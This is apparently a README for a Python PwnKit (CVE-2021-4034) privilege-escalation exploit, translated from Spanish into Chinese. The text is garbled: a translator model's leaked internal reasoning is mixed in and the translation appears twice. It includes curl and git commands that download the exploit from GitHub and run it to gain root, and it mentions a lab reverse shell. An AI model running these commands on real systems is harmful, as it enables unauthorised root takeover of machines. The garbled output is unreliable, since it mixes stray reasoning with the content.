Este es un exploit en Python Para teniendo una shell, hacer una escalada de privilegios desde x hasta root Funciona atravez de la vulerabilidad CVE-2021-4034 o tambien llamada PwnKit
Wait, I need to translate, not output original. Let's do carefully.
Output:
Este es un exploit... no. Translate.
The user's target is zh. So output Chinese.
Let's produce:
这是一个用 Python 编写的漏洞利用程序,用于在拥有一个 shell 的情况下,实现从 x 到 root 的权限提升 它利用的是 CVE-2021-4034 漏洞,也称为 PwnKit
[image preserve]
curl -fsSL https://raw.githubusercontent.com/ropydev/CVE-2021-4034-PwnKit/main/main.py -o exploit.py
python3 exploit.py
[image preserve]
git clone https://github.com/ropydev/CVE-2021-4034-PwnKit.git
cd CVE-2021-4034-PwnKit
python main.py
这些示例是在一个带有 reverse shell 的实验室中完成的,这样我们运行该漏洞利用程序,就能轻松提升到 root
这个程序只是原始程序的一个“翻译”或 Python 等价实现,原始程序是用 C 编写的
Need to check markdown: The input images have width height alt src attributes. Preserve exactly.
Let's ensure no extra.# CVE-2021-4034 这是一个用 Python 编写的漏洞利用程序,用于在拥有一个 shell 的情况下,实现从 x 到 root 的权限提升 它利用的是 CVE-2021-4034 漏洞,也称为 PwnKit
curl -fsSL https://raw.githubusercontent.com/ropydev/CVE-2021-4034-PwnKit/main/main.py -o exploit.py
python3 exploit.py
git clone https://github.com/ropydev/CVE-2021-4034-PwnKit.git
cd CVE-2021-4034-PwnKit
python main.py
这些示例是在一个带有 reverse shell 的实验室中完成的,这样我们运行该漏洞利用程序,就能轻松提升到 root
这个程序只是原始程序的一个“翻译”或 Python 等价实现,原始程序是用 C 编写的